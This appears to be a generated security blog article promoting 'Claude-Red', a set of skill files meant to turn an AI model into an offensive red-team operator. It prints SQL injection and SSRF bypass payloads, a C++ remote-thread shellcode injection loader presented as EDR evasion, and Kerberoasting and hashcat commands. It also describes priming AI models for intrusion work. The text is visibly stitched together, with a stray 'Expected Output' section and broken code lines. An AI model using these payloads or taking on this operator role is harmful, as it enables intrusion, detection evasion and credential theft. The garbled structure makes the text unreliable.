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Introduction:
The intersection of artificial intelligence and offensive security has given rise to a new paradigm in ethical hacking. No longer confined to simple vulnerability scanning, AI agents can now be taught to think like human security researchers, employing expert-level methodologies across every phase of a penetration test. The “Claude-Red” project represents this evolution, serving as a curated library of drop-in `SKILL.md` files that transform Claude from a standard chatbot into a context-aware red team operator capable of tackling everything from advanced SQL injection and SSRF to EDR evasion and exploit development.
Learning Objectives:
- Understand how structured skill files (SKILL.md) prime AI models with expert-level tradecraft for specific attack surfaces.
- Learn to install, configure, and deploy offensive AI skills for authorized red teaming, bug bounty triage, and security research.
- Acquire practical, hands-on commands and techniques for web app pentesting, active directory abuse, and evading modern EDR solutions using AI-assisted workflows.
You Should Know:
1. Installing and Configuring Claude-Red for Offensive Engagements
To begin, you must first understand that claude-red is a library of structured skills designed for the Claude Skills system. The primary method of installation is cloning the repository directly into the directory that Claude will scan.
For the recommended Claude Skills system, execute the following command:
git clone https://github.com/SnailSploit/claude-red ~/.claude/skills/claude-red
If you only need specific categories, such as web application or active directory skills, you can perform a sparse checkout to save space:
git clone --filter=blob:none --sparse https://github.com/SnailSploit/claude-red cd claude-red && git sparse-checkout set Skills/web Skills/active-directory
Claude will automatically load matching skills based on conversational triggers. For instance, simply mentioning “SQL injection” in your prompt will load the `offensive-sqli` skill. To use a skill with Claude Code, you can pipe the file directly into the session:
cat Skills/web/offensive-sqli/SKILL.md | claude --system-file -
This method injects the expert methodology directly into the model’s context, allowing you to ask specific questions about exploiting time-based blind SQL injection or bypassing web application firewalls (WAFs).
- AI-Powered Web Penetration Testing: SQLi, XSS, and SSRF
Once the skills are loaded, you can leverage curated payloads and methodologies for web application testing. Current Claude skills cover the OWASP Top 10, including SQL Injection, Cross-Site Scripting, SSRF, and JWT authentication flaws. A key advantage is the integration of ready-to-use commands for popular security tools like SQLMap, Dalfox, and ffuf, allowing you to automate vulnerability detection.
For example, after loading the `offensive-sqli` skill, you might ask the AI to generate a SQLMap command tailored to a specific target. The AI might respond with:
sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5 --dbs --batch --random-agent --tamper=space2comment
Furthermore, the skill can provide manual bypass techniques for when automated tools fail, such as using Boolean-based blind inference:
http://target.com/page?id=1' AND SUBSTRING((SELECT @@version),1,1)=8 AND '1'='1
For SSRF testing, the skill includes payloads to bypass common allowlist filters using alternative IP representations or URL parsing inconsistencies:
http://target.com/proxy?url=http://2130706433/admin http://target.com/proxy?url=http://0xA9FEA9FE/admin
3. Advanced Exploit Development and EDR Evasion Techniques
The true power of offensive AI skillsets lies in their ability to assist with low-level exploit development and evasion of modern security controls. Projects like claude-red include dedicated categories for shellcode generation, EDR bypass, and exploit development. Recent research has shown that threat actors are now using AI to build ransomware toolkits that automate EDR evasion, employing Python-based loaders that wrap payloads in layers of encryption.
To emulate this in a controlled, authorized environment, you can use a skill to generate evasive shellcode loaders. For instance, a skill might guide you through the “Cordyceps technique”, which involves injecting shellcode into the `.rdata` section of a legitimate executable to avoid memory scan triggers. An example of a loader stub in C++ that could be generated by the AI is:
// Example: Simple Thread Hijacking for EDR Evasion
include <windows.h>
int main() {
unsigned char shellcode[] = "...";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, TARGET_PID);
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMemory, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
return 0;
}
The skill would then explain how to modify this code to use indirect syscalls or early bird APC injection to further evade detection.
4. Active Directory and Cloud Identity Attack Chains
Modern enterprise attack surfaces are no longer limited to web applications. Claude-Red includes skills for active directory abuse and cloud identity compromise, such as offensive-active-directory covering Kerberoast, ASREProast, ACL abuse, and ADCS (ESC1-15). Future roadmaps include splitting these into 16 specialized skills and adding 10 new skills for cloud environments like Entra/AAD, Okta, and M365.
A practical guide using an AI-assisted workflow might be:
– Reconnaissance: Run `bloodhound-collector` to gather data.
– Analysis: Ask the AI to identify high-value paths in the BloodHound output.
– Exploitation: Execute a targeted attack like Kerberoasting.
PowerShell command to request a TGS for a service account Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.domain.com" Then extract the hash and crack it with hashcat hashcat -m 13100 kerberoast_hash.txt rockyou.txt
What Undercode Say:
- AI is not merely a tool for automation; it is a new medium for transferring tacit security knowledge. By using structured `SKILL.md` files, we can operationalize the intuition and methodology of a senior bug hunter, making expert-level tradecraft accessible on demand.
- The future of bug bounty lies in “prompt engineering for vulnerabilities.” The ability to correctly frame a problem, load the appropriate skill context, and guide an AI to discover a complex exploit chain is becoming a critical, in-demand skill for security researchers.
- However, this power is a double-edged sword. The same techniques that empower red teamers and ethical hackers are being adopted by malicious actors, democratizing access to sophisticated exploitation and evasion capabilities. For defenders, this means adopting AI-powered security testing is no longer optional; it is a necessity to keep pace with the evolving threat landscape.
Expected Output:
Introduction:
The fusion of generative AI with offensive security tradecraft is reshaping the ethical hacking landscape, shifting the paradigm from manual tool execution to AI-guided, methodology-driven vulnerability discovery. Claude-Red exemplifies this shift by providing a library of structured skill files that program AI models with expert-level techniques across domains like SQLi, ADCS abuse, and EDR evasion.
What Undercode Say:
- AI skillsets will soon be a standard component of professional penetration testing certs (e.g., OSCP, GPEN), requiring candidates to demonstrate proficiency in AI-assisted tool configuration and exploit chaining.
- The primary defensive response to AI-powered attacks will be the proliferation of autonomous purple-teaming agents that use similar skill-based architectures to continuously validate and harden enterprise environments, leading to a new AI vs. AI arms race.
Prediction:
- P: The skill-based architecture (exemplified by claude-red and claude-bughunter) will evolve into an industry standard, enabling rapid, collaborative development and sharing of exploit and defense techniques across the global security community.
- P: Major bug bounty platforms (HackerOne, Bugcrowd) will integrate AI agent APIs, allowing hunters to deploy fleets of specialized, skill-guided AI triagers to handle the initial reconnaissance and vulnerability validation phases at scale.
- P: Security training will pivot from traditional lectures to “prompt engineering for hacking” bootcamps, where students learn to elicit complex attack paths from AI models using minimal, yet highly structured, prompts.
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